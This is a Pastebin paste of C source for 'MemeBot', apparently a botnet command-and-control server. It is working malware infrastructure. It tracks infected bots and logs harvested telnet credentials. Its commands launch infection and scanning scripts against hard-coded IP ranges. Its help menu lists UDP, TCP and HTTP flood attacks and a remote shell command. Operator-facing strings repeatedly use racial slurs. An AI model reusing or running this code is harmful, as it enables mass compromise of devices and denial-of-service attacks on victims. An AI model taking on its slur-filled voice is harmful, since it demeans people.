ZucoCheezy

MemeBot-Server

Dec 1st, 2018
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 28.12 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Made Date: 11/22/2016
  4.  
  5.                         *** MEMEBOT SERVER ***
  6.                        
  7. */
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <stdint.h>
  11. #include <inttypes.h>
  12. #include <string.h>
  13. #include <sys/types.h>
  14. #include <sys/socket.h>
  15. #include <netdb.h>
  16. #include <unistd.h>
  17. #include <time.h>
  18. #include <fcntl.h>
  19. #include <sys/epoll.h>
  20. #include <errno.h>
  21. #include <pthread.h>
  22. #include <signal.h>
  23. #include <arpa/inet.h>
  24. #define MAXFDS 1000000
  25. //////////////////////////////////
  26. struct login_info {
  27.     char username[20];
  28.     char password[20];
  29. };
  30. static struct login_info accounts[10];
  31. struct clientdata_t {
  32.         uint32_t ip;
  33.         char connected;
  34. } clients[MAXFDS];
  35. struct telnetdata_t {
  36.         int connected;
  37. } managements[MAXFDS];
  38. struct args {
  39.         int sock;
  40.         struct sockaddr_in cli_addr;
  41. };
  42. static volatile FILE *telFD;
  43. static volatile FILE *fileFD;
  44. static volatile int epollFD = 0;
  45. static volatile int listenFD = 0;
  46. static volatile int OperatorsConnected = 0;
  47. static volatile int TELFound = 0;
  48. static volatile int scannerreport;
  49. //////////////////////////////////
  50. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  51.     int total = 0, got = 1;
  52.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  53.     return got;
  54. }
  55. void trim(char *str) {
  56.     int i;
  57.     int begin = 0;
  58.     int end = strlen(str) - 1;
  59.     while (isspace(str[begin])) begin++;
  60.     while ((end >= begin) && isspace(str[end])) end--;
  61.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62.     str[i - begin] = '\0';
  63. }
  64. static int make_socket_non_blocking (int sfd) {
  65.     int flags, s;
  66.     flags = fcntl (sfd, F_GETFL, 0);
  67.     if (flags == -1) {
  68.         perror ("fcntl");
  69.         return -1;
  70.     }
  71.     flags |= O_NONBLOCK;
  72.     s = fcntl (sfd, F_SETFL, flags);
  73.     if (s == -1) {
  74.         perror ("fcntl");
  75.         return -1;
  76.     }
  77.     return 0;
  78. }
  79. static int create_and_bind (char *port) {
  80.     struct addrinfo hints;
  81.     struct addrinfo *result, *rp;
  82.     int s, sfd;
  83.     memset (&hints, 0, sizeof (struct addrinfo));
  84.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  85.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  86.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  87.     s = getaddrinfo (NULL, port, &hints, &result);
  88.     if (s != 0) {
  89.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  90.         return -1;
  91.     }
  92.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  93.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  94.         if (sfd == -1) continue;
  95.         int yes = 1;
  96.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  97.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  98.         if (s == 0) {
  99.             break;
  100.         }
  101.         close (sfd);
  102.     }
  103.     if (rp == NULL) {
  104.         fprintf (stderr, "Could not bind\n");
  105.         return -1;
  106.     }
  107.     freeaddrinfo (result);
  108.     return sfd;
  109. }
  110. void broadcast(char *msg, int us, char *sender)
  111. {
  112.         int sendMGM = 1;
  113.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  114.         char *wot = malloc(strlen(msg) + 10);
  115.         memset(wot, 0, strlen(msg) + 10);
  116.         strcpy(wot, msg);
  117.         trim(wot);
  118.         time_t rawtime;
  119.         struct tm * timeinfo;
  120.         time(&rawtime);
  121.         timeinfo = localtime(&rawtime);
  122.         char *timestamp = asctime(timeinfo);
  123.         trim(timestamp);
  124.         int i;
  125.         for(i = 0; i < MAXFDS; i++)
  126.         {
  127.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  128.                 if(sendMGM && managements[i].connected)
  129.                 {
  130.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  131.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  132.                         send(i, ": ", 2, MSG_NOSIGNAL);
  133.                 }
  134.                 printf("sent to fd: %d\n", i);
  135.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  136.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  137.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  138.         }
  139.         free(wot);
  140. }
  141. void *BotEventLoop(void *useless) {
  142.     struct epoll_event event;
  143.     struct epoll_event *events;
  144.     int s;
  145.     events = calloc (MAXFDS, sizeof event);
  146.     while (1) {
  147.         int n, i;
  148.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  149.         for (i = 0; i < n; i++) {
  150.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  151.                 clients[events[i].data.fd].connected = 0;
  152.                 close(events[i].data.fd);
  153.                 continue;
  154.             }
  155.             else if (listenFD == events[i].data.fd) {
  156.                while (1) {
  157.                 struct sockaddr in_addr;
  158.                 socklen_t in_len;
  159.                 int infd, ipIndex;
  160.  
  161.                 in_len = sizeof in_addr;
  162.                 infd = accept (listenFD, &in_addr, &in_len);
  163.                 if (infd == -1) {
  164.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  165.                     else {
  166.                         perror ("accept");
  167.                         break;
  168.                          }
  169.                 }
  170.  
  171.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  172.                 int dup = 0;
  173.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  174.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  175.                     if(clients[ipIndex].ip == clients[infd].ip) {
  176.                         dup = 1;
  177.                         break;
  178.                     }}
  179.                 if(dup) {
  180.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  181.                     close(infd);
  182.                     continue;
  183.                 }
  184.                 s = make_socket_non_blocking (infd);
  185.                 if (s == -1) { close(infd); break; }
  186.                 event.data.fd = infd;
  187.                 event.events = EPOLLIN | EPOLLET;
  188.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  189.                 if (s == -1) {
  190.                     perror ("epoll_ctl");
  191.                     close(infd);
  192.                     break;
  193.                 }
  194.                 clients[infd].connected = 1;
  195.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  196.             }
  197.             continue;
  198.         }
  199.         else {
  200.             int datafd = events[i].data.fd;
  201.             struct clientdata_t *client = &(clients[datafd]);
  202.             int done = 0;
  203.             client->connected = 1;
  204.             while (1) {
  205.                 ssize_t count;
  206.                 char buf[2048];
  207.                 memset(buf, 0, sizeof buf);
  208.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  209.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  210.                     trim(buf);
  211.                     if(strcmp(buf, "PING") == 0) {
  212.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  213.                         continue;
  214.                     }
  215.                     if(strstr(buf, "REPORT ") == buf) {
  216.                         char *line = strstr(buf, "REPORT ") + 7;
  217.                         fprintf(telFD, "%s\n", line);
  218.                         fflush(telFD);
  219.                         TELFound++;
  220.                         continue;
  221.                     }
  222.                     if(strstr(buf, "PROBING") == buf) {
  223.                         char *line = strstr(buf, "PROBING");
  224.                         scannerreport = 1;
  225.                         continue;
  226.                     }
  227.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  228.                         char *line = strstr(buf, "REMOVING PROBE");
  229.                         scannerreport = 0;
  230.                         continue;
  231.                     }
  232.                     if(strcmp(buf, "PONG") == 0) {
  233.                         continue;
  234.                     }
  235.                     printf("buf: \"%s\"\n", buf);
  236.                 }
  237.                 if (count == -1) {
  238.                     if (errno != EAGAIN) {
  239.                         done = 1;
  240.                     }
  241.                     break;
  242.                 }
  243.                 else if (count == 0) {
  244.                     done = 1;
  245.                     break;
  246.                 }
  247.             if (done) {
  248.                 client->connected = 0;
  249.                 close(datafd);
  250. }}}}}}
  251. unsigned int BotsConnected() {
  252.     int i = 0, total = 0;
  253.     for(i = 0; i < MAXFDS; i++) {
  254.         if(!clients[i].connected) continue;
  255.         total++;
  256.     }
  257.     return total;
  258. }
  259. void *TitleWriter(void *sock) {
  260.     int datafd = (int)sock;
  261.     char string[2048];
  262.     while(1) {
  263.         memset(string, 0, 2048);
  264.         sprintf(string, "%c]0;BOT COUNT: 57412| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  265.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  266.         sleep(2);
  267. }}
  268. int Find_Login(char *str) {
  269.     FILE *fp;
  270.     int line_num = 0;
  271.     int find_result = 0, find_line=0;
  272.     char temp[512];
  273.  
  274.     if((fp = fopen("login.txt", "r")) == NULL){
  275.         return(-1);
  276.     }
  277.     while(fgets(temp, 512, fp) != NULL){
  278.         if((strstr(temp, str)) != NULL){
  279.             find_result++;
  280.             find_line = line_num;
  281.         }
  282.         line_num++;
  283.     }
  284.     if(fp)
  285.         fclose(fp);
  286.     if(find_result == 0)return 0;
  287.     return find_line;
  288. }
  289. void *BotWorker(void *sock) {
  290.     int datafd = (int)sock;
  291.     int find_line;
  292.     OperatorsConnected++;
  293.     pthread_t title;
  294.     char buf[2048];
  295.     char* username;
  296.     char* password;
  297.     memset(buf, 0, sizeof buf);
  298.     char botnet[2048];
  299.     memset(botnet, 0, 2048);
  300.     char botcount [2048];
  301.     memset(botcount, 0, 2048);
  302.     char statuscount [2048];
  303.     memset(statuscount, 0, 2048);
  304.  
  305.     FILE *fp;
  306.     int i=0;
  307.     int c;
  308.     fp=fopen("login.txt", "r");
  309.     while(!feof(fp)) {
  310.         c=fgetc(fp);
  311.         ++i;
  312.     }
  313.     int j=0;
  314.     rewind(fp);
  315.     while(j!=i-1) {
  316.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  317.         ++j;
  318.     }
  319.  
  320.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  321.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  322.         trim(buf);
  323.         char* nickstring;
  324.         sprintf(accounts[find_line].username, buf);
  325.         nickstring = ("%s", buf);
  326.         find_line = Find_Login(nickstring);
  327.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  328.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  329.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  330.         trim(buf);
  331.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  332.         memset(buf, 0, 2048);
  333.         goto Banner;
  334.         }
  335.         failed:
  336.  
  337.  
  338.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  339.                 char failed_line1[80];
  340.         char ascii_failed_line1  [80];
  341.         char ascii_failed_line2  [80];
  342.         char ascii_failed_line3  [80];
  343.         char ascii_failed_line4  [80];
  344.         char ascii_failed_line5  [80];
  345.         char ascii_failed_line6  [80];
  346.         char ascii_failed_line7  [80];
  347.         char ascii_failed_line8  [80];
  348.         char ascii_failed_line9  [80];
  349.         char ascii_failed_line10 [80];
  350.         char ascii_failed_line11 [80];
  351.         char ascii_failed_line12 [80];
  352.         char ascii_failed_line13 [80];
  353.         char ascii_failed_line14 [80];
  354.         char ascii_failed_line15 [80];
  355.         char ascii_failed_line16 [80];
  356.         char ascii_failed_line17 [80];
  357.  
  358.         sprintf(ascii_failed_line1,  "\x1b[31m         / \           \r\n");
  359.         sprintf(ascii_failed_line2,  "\x1b[31m        |\_/|          \r\n");
  360.         sprintf(ascii_failed_line3,  "\x1b[31m        |---|          \r\n");
  361.         sprintf(ascii_failed_line4,  "\x1b[31m        |   |          \r\n");
  362.         sprintf(ascii_failed_line5,  "\x1b[31m        |   |          \r\n");
  363.         sprintf(ascii_failed_line6,  "\x1b[31m      _ |=-=| _        \r\n");
  364.         sprintf(ascii_failed_line7,  "\x1b[31m  _  / \|   |/ \ _     \r\n");
  365.         sprintf(ascii_failed_line8,  "\x1b[31m / \|   |   |   | \    \r\n");
  366.         sprintf(ascii_failed_line9,  "\x1b[31m|   |   |   |   |  \   \r\n");
  367.         sprintf(ascii_failed_line10, "\x1b[31m|   |   |   |   |   |  \r\n");
  368.         sprintf(ascii_failed_line11, "\x1b[31m| -   -   -   - |)   ) \r\n");
  369.         sprintf(ascii_failed_line12, "\x1b[31m|                   /  \r\n");
  370.         sprintf(ascii_failed_line13, "\x1b[31m \                 /   \r\n");
  371.         sprintf(ascii_failed_line14, "\x1b[31m  \               /    \r\n");
  372.         sprintf(ascii_failed_line15, "\x1b[31m   \             /     \r\n");
  373.         sprintf(ascii_failed_line16, "\x1b[31m    \           /      \r\n");
  374.         sprintf(ascii_failed_line17, "\x1b[31m     |         |       \r\n");
  375.        
  376.         sprintf(failed_line1,        "\r\n\x1b[31mWRONG LOGIN NIGGER!!\r\n");
  377.        
  378.         if(send(datafd, ascii_failed_line1,  strlen(ascii_failed_line1),  MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, ascii_failed_line2,  strlen(ascii_failed_line2),  MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, ascii_failed_line3,  strlen(ascii_failed_line3),  MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, ascii_failed_line4,  strlen(ascii_failed_line4),  MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, ascii_failed_line5,  strlen(ascii_failed_line5),  MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, ascii_failed_line6,  strlen(ascii_failed_line6),  MSG_NOSIGNAL) == -1) goto end;
  384.         if(send(datafd, ascii_failed_line7,  strlen(ascii_failed_line7),  MSG_NOSIGNAL) == -1) goto end;
  385.         if(send(datafd, ascii_failed_line8,  strlen(ascii_failed_line8),  MSG_NOSIGNAL) == -1) goto end;
  386.         if(send(datafd, ascii_failed_line9,  strlen(ascii_failed_line9),  MSG_NOSIGNAL) == -1) goto end;
  387.         if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  388.         if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  389.         if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  390.         if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  391.         if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  392.         if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  393.         if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  394.         if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  395.        
  396.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  397.         sleep(5);
  398.         goto end;
  399.  
  400.         Banner:
  401.         pthread_create(&title, NULL, &TitleWriter, sock);
  402.         char ascii_banner_line1 [5000];
  403.         char ascii_banner_line2 [5000];
  404.         char ascii_banner_line3 [5000];
  405.         char ascii_banner_line4 [5000];
  406.         char ascii_banner_line5 [5000];
  407.         char ascii_banner_line6 [5000];
  408.         char ascii_banner_line7 [5000];
  409.         char welcome_line [80];
  410.         char banner_bot_count [2048];
  411.         memset(banner_bot_count, 0, 2048);
  412.  
  413.         sprintf(ascii_banner_line1, "\x1b[31m.___  ___.  _______ .___  ___.  _______ .______     ______   .___________. \r\n");
  414.         sprintf(ascii_banner_line2, "\x1b[31m|   \/   | |   ____||   \/   | |   ____||   _  \   /  __  \  |           | \r\n");
  415.         sprintf(ascii_banner_line3, "\x1b[31m|  \  /  | |  |__   |  \  /  | |  |__   |  |_)  | |  |  |  | `---|  |----` \r\n");
  416.         sprintf(ascii_banner_line4, "\x1b[31m|  |\/|  | |   __|  |  |\/|  | |   __|  |   _  <  |  |  |  |     |  |      \r\n");
  417.         sprintf(ascii_banner_line5, "\x1b[31m|  |  |  | |  |____ |  |  |  | |  |____ |  |_)  | |  `--'  |     |  |      \r\n");
  418.         sprintf(ascii_banner_line6, "\x1b[31m|__|  |__| |_______||__|  |__| |_______||______/   \______/      |__|      \r\n");
  419.         sprintf(ascii_banner_line7, "\x1b[31m                    By Jackoverflowin and Supreme00                        \r\n");
  420.  
  421.  
  422.         sprintf(welcome_line,       "\r\n\x1b[34m       ~[\x1b[31mWelcome, %s\x1b[34m  ]~\r\n", accounts[find_line].username);
  423.         sprintf(banner_bot_count,   "\x1b[34m       ~[\x1b[31mBOT COUNT: 57412\x1b[34m     ]~\r\n", BotsConnected(), OperatorsConnected);
  424.  
  425.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  426.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  427.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  428.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  429.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  430.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  431.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  432.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  433.         while(1) {
  434.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  435.         if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  436.         break;
  437.         }
  438.         pthread_create(&title, NULL, &TitleWriter, sock);
  439.         managements[datafd].connected = 1;
  440.  
  441.         while(fdgets(buf, sizeof buf, datafd) > 0)
  442.         {
  443.             if(strstr(buf, "BOTS")) {
  444.                 sprintf(botcount, "BOT COUNT: 57450 | NIGGAS: 1\r\n", BotsConnected(), OperatorsConnected);
  445.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  446.                 continue;
  447.             }
  448.             if(strstr(buf, "STATUS")){
  449.                 sprintf(statuscount, "TELNET DEVICES:4102 %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  450.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  451.                 continue;
  452.             }
  453.             if(strstr(buf, "STATS")){
  454.                 sprintf(botcount, "BOT COUNT: 57417 | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  455.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  456.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  457.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  458.                 continue;
  459.             }
  460.             if(strstr(buf, "INFECT")) {
  461.                 system("python telnet.py filtered.txt");
  462.                 continue;
  463.             }
  464.             if(strstr(buf, "REINFECT")) {
  465.                 system("python w.py filtered_ssh.txt");
  466.                 continue;
  467.             }
  468.             if(strstr(buf, "FILTER")) {
  469.                 system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  470.                 continue;
  471.             }
  472.             if(strstr(buf, "LOAD")) {
  473.                 system("python scan.py 376 LOAD 88 1");
  474.                 continue;
  475.             }
  476.             if(strstr(buf, "SCAN1")) {
  477.                 system("python scan.py 376 B 119.92 lol");
  478.                 continue;
  479.             }
  480.             if(strstr(buf, "SCAN2")) {
  481.                 system("python scan.py 376 B 119.93 lol");
  482.                 continue;
  483.             }
  484.             if(strstr(buf, "SCAN3")) {
  485.                 system("python scan.py 376 B 125.25 1");
  486.                 continue;
  487.             }
  488.             if(strstr(buf, "SCAN4")) {
  489.                 system("python scan.py 376 B 125.26 1");
  490.                 continue;
  491.             }
  492.             if(strstr(buf, "SCAN5")) {
  493.                 system("python scan.py 376 B 125.27 1");
  494.                 continue;
  495.             }
  496.             if(strstr(buf, "SCAN6")) {
  497.                 system("python scan.py 376 B 113.53 1");
  498.                 continue;
  499.             }
  500.             if(strstr(buf, "SCAN7")) {
  501.                 system("python scan.py 376 B 180.180 1");
  502.                 continue;
  503.             }
  504.             if(strstr(buf, "SCAN8")) {
  505.                 system("python scan.py 376 B 185.52 1");
  506.                 continue;
  507.             }
  508.             if(strstr(buf, "LUCKY")) {
  509.                 system("python scan.py 376 LUCKY 88 1");
  510.                 continue;
  511.             }
  512.             if(strstr(buf, "LUCKY2")) {
  513.                 system("python scan.py 376 LUCKY2 88 1");
  514.                 continue;
  515.             }
  516.             if(strstr(buf, "SCAN_OFF")) {
  517.                 system("killall -9 python");
  518.                 continue;
  519.             }
  520.             if(strstr(buf, "HELP")) {
  521.                 pthread_create(&title, NULL, &TitleWriter, sock);
  522.                 char helpline1  [80];
  523.                 char helpline2  [80];
  524.                 char helpline3  [80];
  525.                 char helpline4  [80];
  526.                 char helpline5  [80];
  527.                 char helpline6  [80];
  528.                 char helpline7  [80];
  529.                 char helpline8  [80];
  530.                 char helpline9  [80];
  531.                 char helpline10 [80];
  532.                 char helpline11 [80];
  533.                 char helpline12 [80];
  534.                 char helpline13 [80];
  535.                 char helpline14 [80];
  536.                 char helpline15 [80];
  537.                 char helpline16 [80];
  538.                 char helpline17 [80];
  539.                 char helpline18 [80];
  540.                 char helpline19 [80];
  541.                 char helpline20 [80];
  542.                 char helpline21 [80];
  543.                 char helpline22 [80];
  544.                 char helpline23 [80];
  545.                 char helpline24 [80];
  546.                 char helpline25 [80];
  547.                 char helpline26 [80];
  548.  
  549.  
  550.  
  551.  
  552.                 sprintf(helpline1,  "\r\n\x1b[31m~[ATTACK COMMANDS]~\r\n");
  553.                 sprintf(helpline2,  "\x1b[31m~[\x1b[37mUDP\x1b[31m]~ \x1b[37m!* UDP Victim Port(80) Time 32 0 10\r\n");
  554.                 sprintf(helpline3,  "\x1b[31m~[\x1b[37mTCP\x1b[31m]~ \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  555.                 sprintf(helpline4,  "\x1b[31m~[\x1b[37mSTD\x1b[31m]~ \x1b[37m!* STD Victim Port Time\r\n");
  556.                 sprintf(helpline5,  "\x1b[31m~[\x1b[37mHTTP\x1b[31m]~ \x1b[37m!* HTTP POST/GET/HEAD TARGET PORT PATH(/) TIME POWER 10\r\n");
  557.                 sprintf(helpline6,  "\x1b[31m~[\x1b[37mJUNK\x1b[31m]~ \x1b[37m!* JUNK Victim Port Time\r\n");
  558.                 sprintf(helpline7,  "\x1b[31m~[\x1b[37mHOLD\x1b[31m]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  559.                 sprintf(helpline8,  "\x1b[31m~[\x1b[37mKILL\x1b[31m]~ \x1b[37m!* KILLATTK | KILL\r\n");
  560.                 sprintf(helpline9,  "\x1b[31m~[\x1b[37mCLEARHISTORY\x1b[31m]~ \x1b[37m!* ClearHistory\r\n");
  561.  
  562.                 sprintf(helpline10, "\x1b[31m~[SCANNING COMMANDS]~\r\n");
  563.                 sprintf(helpline11, "\x1b[31m~[\x1b[37mLOAD\x1b[31m]~ \x1b[37mLOAD\r\n");
  564.                 sprintf(helpline12, "\x1b[31m~[\x1b[37mSCAN\x1b[31m]~ \x1b[37mSCAN1 | SCAN2 | SCAN3 | SCAN4\r\n");
  565.                 sprintf(helpline13, "\x1b[31m~[\x1b[37mSCAN\x1b[31m]~ \x1b[37mSCAN5 | SCAN6 | SCAN7 | SCAN8\r\n");
  566.                 sprintf(helpline14, "\x1b[31m~[\x1b[37mLUCKY\x1b[31m]~ \x1b[37mLUCKY | LUCKY2\r\n");
  567.                 sprintf(helpline15, "\x1b[31m~[\x1b[37mSTOP\x1b[31m]~ \x1b[37mSCAN_OFF\r\n");
  568.  
  569.                 sprintf(helpline16, "\x1b[31m~[\x1b[37mGENERAL COMMANDS\x1b[31m]~\r\n");
  570.                 sprintf(helpline17, "\x1b[31m~[\x1b[37mSHELL\x1b[31m]~ \x1b[37m!* SH\r\n");
  571.                 sprintf(helpline18, "\x1b[31m~[\x1b[37mBOTS\x1b[31m]~ \x1b[37m!* BOTS | BOTS\r\n");
  572.                 sprintf(helpline19, "\x1b[31m~[\x1b[37mSTATUS\x1b[31m]~ \x1b[37m!* STATUS | STATUS\r\n");
  573.                 sprintf(helpline20, "\x1b[31m~[\x1b[37mSTATS\x1b[31m]~ \x1b[37mSTATS\r\n");
  574.  
  575.                 sprintf(helpline21, "\x1b[31m~[\x1b[37mMISC COMMANDS\x1b[31m]~\r\n");
  576.                 sprintf(helpline22, "\x1b[31m~[\x1b[37mINECTION FILTER\x1b[31m]~ \x1b[37mFILTER\r\n");
  577.                 sprintf(helpline23, "\x1b[31m~[\x1b[37mTELNET INFECT\x1b[31m]~ \x1b[37mINFECT\r\n");
  578.                 sprintf(helpline24, "\x1b[31m~[\x1b[37mREINFECT BOTS\x1b[31m]~ \x1b[37mREINFECT\r\n");
  579.                 sprintf(helpline25, "\x1b[31m~[\x1b[37mCLEARSCREEN\x1b[31m]~ \x1b[37mCLEAR\r\n");
  580.                 sprintf(helpline26, "\x1b[31m~[\x1b[37mLOGOUT\x1b[31m]~ \x1b[37mLOGOUT\r\n");
  581.  
  582.  
  583.  
  584.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  585.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  586.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  587.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  588.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  589.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  590.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  591.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  592.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  593.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  594.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  595.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  596.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  597.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  598.                 if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  599.                 if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  600.                 if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  601.                 if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  602.                 if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  603.                 if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  604.                 if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  605.                 if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  606.                 if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  607.                 if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  608.                 if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  609.                 if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  610.  
  611.                 pthread_create(&title, NULL, &TitleWriter, sock);
  612.                 continue;
  613.             }
  614.             if(strstr(buf, "KILL")) {
  615.                 char killattack [2048];
  616.                 memset(killattack, 0, 2048);
  617.                 sprintf(killattack, "!* KILLATTK\r\n");
  618.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  619.                 continue;
  620.             }
  621.  
  622.             if(strstr(buf, "CLEAR")) {
  623.                 char clearscreen [2048];
  624.                 memset(clearscreen, 0, 2048);
  625.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  626.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
